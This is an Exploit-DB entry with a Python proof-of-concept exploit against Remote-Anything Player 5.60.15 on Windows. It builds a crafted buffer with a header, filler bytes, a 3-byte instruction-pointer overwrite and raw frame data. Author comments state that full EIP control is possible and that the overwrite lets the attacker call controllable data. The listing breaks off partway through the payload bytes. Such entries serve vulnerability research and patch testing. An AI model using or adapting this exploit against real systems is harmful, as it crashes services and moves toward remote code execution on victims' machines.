Exploit-DB #18799
Description: Remote-Anything Player 5.60.15 - Denial of Service
Type: dos
Platform: windows
Date: 2012-04-29
Author: Saint Patrick

Exploit:
#!python

# Title: Remote-Anything Player 5.60.15 PoC
# Author: Saint Patrick <saintpatrick@l1pht.com>
# Date: 4/25/2012

# Just a heads up, you can get full EIP by pushing on.
# However, at crash time no registers point to buffer, so I chose
# instead to work with the 3 byte overwrite shown here.  This allows
# calling of other controllable data.

# Tested on: Win XP SP3 EN using the trial version.
# Vendor: http://www.twd-industries.com/
# Country of Origin: Switzerland
# Software: http://www.twd-industries.com/archives/_remote-trial.zip
# Greetz: ri0t, janus, rabblegasm, m0nstream00 and all the DC405 crew


# Header information.  Gives RA Player version 5.60.15, resolution, etc. 
lame = "\x52\x41\x20\x35\x2e\x32\x36\x2e\x32\x32\x20\x53\x65\x73\x73\x69"
lame += "\x6f\x6e\x20\x77\x69\x6e\x39\x38\x5f\x36\x34\x30\x78\x34\x38\x30"
lame += "\x2c\x20\x30\x33\x2f"

# Strange Days ;P  For shell you have this, but appears only alpha numeric?
lame += "A" * 185

lame += "\x42\x32"
lame += "\x31\x2f\x30\x36\x20\x31\x38\x3a\x33\x30"

# 3 byte overwrite.  This puts our EIP = 0x00434130.
lame += "\x30\x41\x43"

# Frame data?
lame += "\x0a\xf6\x54"
lame += "\x00\x00\x00\x00\x00\x00\x80\x02\xe0\x01\x04\x00\x00\x00\x21\x25"
lame += "\x00\x00\x78\x9c\xed\x9d\x7f\x7c\x14\xd5\xb5\xc0\x67\x89\x31\x69"
lame += "\x42\x49\xca\x43\x93\xa8\xbc\x90\xbe\x82\x2c\x28\x21\x20\x0a\x22"
lame += "\x04\x42\x6d\x21\x50\x84\x05\x15\x53\x8c\xf8\x56\x1b\x2b\xfe\x88"
lame += "\x44\x40\x59\x63\x62\x12\x6b\x8b\x01\x7d\x25\x40\xaa\x41\xd4\xba"
lame += "\x5a\xad\x88\x81\xa2\x51\x58\x92\xd5\x36\x08\x4f\x43\x3f\xb4\x8d"
lame += "\x41\xc3\xb2\xfd\x81\xa9\x9a\x66\x79\xa2\xd9\x94\x90\xcc\xbb\x3f"
lame += "\x66\x76\x67\x37\xb3\xc9\xee\xec\xec\xcc\x5d\xf6\x9c\x3f\xce\x67"
lame += "\x67\x77\x76\x77\xe6\x7e\xe7\x9c\x73\xef\x3d\xf7\x47\x75\x4e\x73"
lame += "\xba\xb9\x1a\x14\x28\x50\xa0\x40\x81\x02\x05\x0a\x14\x28\x50\xa0"
lame += "\x40\x81\x02\xc5\x88\x5a\x60\xb4\xd6\x98\xf2\xa9\x1a\xcb\xc2\x05"
lame += "\xc5\xb6\x5a\xd4\x65\x71\xd9\xdc\x0e\xaa\xb2\x56\xe9\x7f\x41\xe7"
lame += "\xa3\xea\xce\x15\x0a\xbb\xd7\x95\x41\x5f\xf5\x4d\x0d\x70\xf2\x31"
lame += "\x2f\x8e\xde\xe4\x0c\x09\x0f\xd1\x66\xac\x35\x2c\xdc\x51\x54\xab"
lame += "\xfa\xa3\x2f\xf1\x07\xf7\x3a\x32\xcc\x9f\xcc\xbb\x90\x92\x39\x73"
lame += "\xac\x54\xfe\xe4\x2d\xcf\x9d\xf1\x58\xc7\xfd\x1f\xa4\x7b\x79\x6c"
lame += "\x11\xdf\x75\x3d\x5e\xa9\xff\x1d\x45\xb7\xaa\x3f\x7a\x59\x55\xcb"
lame += "\x86\xbb\x67\x99\x1d\x73\x0f\xbf\x54\xf4\xba\xab\xd1\xb6\xbd\xfa"
lame += "\xe1\x00\x3c\x1e\x7d\xca\x73\x7c\x9b\x84\x47\xed\xd7\x22\x8e\xbd"
lame += "\x55\xc0\x23\x5c\x1e\xfd\x19\x55\xa9\x79\x1d\x5f\xdf\xd9\x38\x27"
lame += "\xf1\x57\x45\xcf\x34\xa5\xfc\x4f\xe5\x88\x47\x03\xf1\x48\x21\xaf"
lame += "\xd0\xf9\x3f\xf7\xe5\x51\x57\xd2\x32\xa3\x03\xa9\xdd\xc0\x23\x6c"
lame += "\xf5\xd9\xaf\x7e\x3d\x22\xef\x5b\x6b\xdd\xcf\x2e\x48\x3c\xd5\x5a"
lame += "\xbb\x74\xb1\xb5\x6a\xd1\xba\x80\x3c\xc6\xdd\x42\x23\xc5\x4f\x7d"
lame += "\x79\x7c\x4a\x4f\xd8\x0b\x3c\x54\x50\xef\x3e\x36\x32\x2f\xa9\x7e"
lame += "\xdb\xe2\xbc\xc4\x5b\xce\xd6\xe6\x34\x8f\xa9\xe9\x0a\x10\xcf\xb1"
lame += "\x7d\xac\x78\x0f\xb9\xa6\x6b\xf2\xee\xf2\xe3\x31\x19\xbf\xaa\x07"
lame += "\x1e\x6a\xa8\xe9\x25\x4b\xf2\x16\x64\x95\x3c\x9d\x37\x3e\xeb\x2f"
lame += "\xa9\x79\x89\x59\x55\xd5\x81\x79\x6c\x23\x95\xa8\x75\xfe\xf6\xd1"
lame += "\x3e\xf9\x87\xa3\x81\x87\x3a\xaa\xdb\x56\x54\x9d\x37\xdf\x58\x93"
lame += "\x9a\x97\x94\x55\x85\x79\x3c\xb8\x33\xc0\xc9\x5b\x9e\x4b\xd9\x36"
lame += "\x1e\x79\xab\x8d\xa7\x97\x0c\xb0\x8f\x2f\x8c\xc0\x43\x1d\xb5\x6e"
lame += "\xda\x4d\xcd\x73\x13\x5f\xad\x1a\x95\xf7\x2d\x63\xd5\xc8\xbc\xc4"
lame += "\x17\x4a\x6e\x5a\x1d\x80\x07\xb2\x8f\xb7\xdc\x0e\xd7\xac\xee\x81"
lame += "\x3c\xc0\x3e\xd4\x52\xdd\x59\x79\x1f\x2c\x18\x9f\x65\xbd\xf8\xda"
lame += "\x53\xe3\xb7\x22\xfb\x18\x5d\x39\x3f\x70\x3c\x47\x3c\x1e\x75\x5d"
lame += "\xd7\x3c\x90\x07\x79\xe5\xed\x4d\xd1\xff\xb6\xa2\x57\x1d\xa8\x5c"
lame += "\x34\x37\x31\x0b\xa1\xf8\x56\xd6\xaf\x47\xe6\xfd\x73\x8c\xb5\x75"
lame += "\x90\xf8\xd1\x8d\x5a\x19\xb3\x6a\xe4\xe3\xf9\x61\x4f\xf3\xfd\x3d"
lame += "\xbb\xfe\xb7\x15\xb5\xaa\xd6\x35\x7a\x42\xfe\xe8\x3b\x97\xbb\xf9"
lame += "\x69\xcb\x96\xe7\x35\x77\xba\xea\x02\x9c\x8c\xe3\x87\x29\x1f\xbd"
lame += "\x1c\x65\xba\x5b\x86\xc7\xa2\x0d\x22\x8e\x5b\x80\x47\x58\x6a\xf4"
lame += "\x84\x05\xaf\x56\x35\x58\xfa\xf8\x27\x5a\xf2\x9b\x5f\xfa\x38\xd0"
lame += "\x79\xc8\x3e\x44\x87\xe4\xcf\x03\x37\x08\x7f\xb8\xe1\xa0\xd0\x6f"
lame += "\x72\x33\xf0\x08\x43\xb5\xf5\x7f\x3c\xfd\x9f\xef\x2e\x4f\x2d\xab"
lame += "\x7e\xc0\xb5\xd9\xb4\x20\xa7\xf9\xd9\x80\xfe\x2a\x50\x7f\x09\xa1"
lame += "\xf0\xe3\xb3\xf7\xd2\x77\x8e\x03\x8f\x30\xd4\x5b\xb9\x5b\x17\xcf"
lame += "\x3d\xf4\xfa\xc4\x23\x4b\x5f\x7d\xfe\x77\xe9\x79\xf3\x5f\x28\x19"
lame += "\x7e\x7f\x00\x1e\xcf\x79\x7b\xdb\x7d\x78\xb4\xe3\xf7\x6c\x37\x9f"
lame += "\xbd\x77\xf9\xea\x1f\x4d\xb3\x9a\x3e\x01\x1e\xca\x55\xfd\xe2\xac"
lame += "\x29\x1b\x73\x9a\x9f\x2f\xd9\x7c\xed\xa2\x17\xf6\x5d\x8c\xdb\x83"
lame += "\x2d\xa5\x1d\x62\x87\x94\x8f\xda\xd2\xeb\xf0\x44\xec\x42\x69\xff"
lame += "\xee\xa5\x44\xcf\x3b\x7b\x6f\xc1\x96\x5d\xaf\xbe\xbc\xfc\x6f\xc0"
lame += "\x23\x0c\x1e\xb7\x25\x99\xab\x8d\xa7\x6a\x1f\xa8\x99\x70\xe2\xce"
lame += "\xb7\x53\xf3\x27\x20\x1e\xf7\xc9\x9f\xbc\xe5\x1e\x49\x7a\xd0\xca"
lame += "\x6d\xf1\x6b\x6b\x2c\x3a\x7b\xef\x33\x2f\xed\x01\xfb\x08\x93\xc7"
lame += "\xe2\x3b\x27\x5f\x9f\xf3\x8f\xcb\xa6\x2c\x36\x2e\xd8\x51\x95\x6a"
lame += "\xca\x7f\xa1\x64\x5b\xa0\x7c\x14\x27\x95\xda\x3b\x44\x1e\x42\x7f"
lame += "\xfb\x8f\x37\xdc\x47\xed\x03\x78\x84\xa3\x5e\xee\x7b\xe9\xa2\x3d"
lame += "\xef\xbf\x74\x6d\xfe\x45\x17\xfc\x4f\x09\x6a\x0f\xee\xf8\x43\x80"
lame += "\xfa\x6e\xed\x1d\x3e\x87\xdf\x33\x7b\x79\x10\x8f\xb6\x4c\x8c\x1f"
lame += "\xe0\xaf\xc2\x54\x1f\x2e\xfb\xd9\xf3\xcb\xae\x37\x7e\xb1\x79\xcd"
lame += "\xb1\xb9\x77\xd5\x1f\x0c\x70\x5e\xed\x3f\x84\xe8\x81\x4b\x7f\x71"
lame += "\x62\x86\x84\x47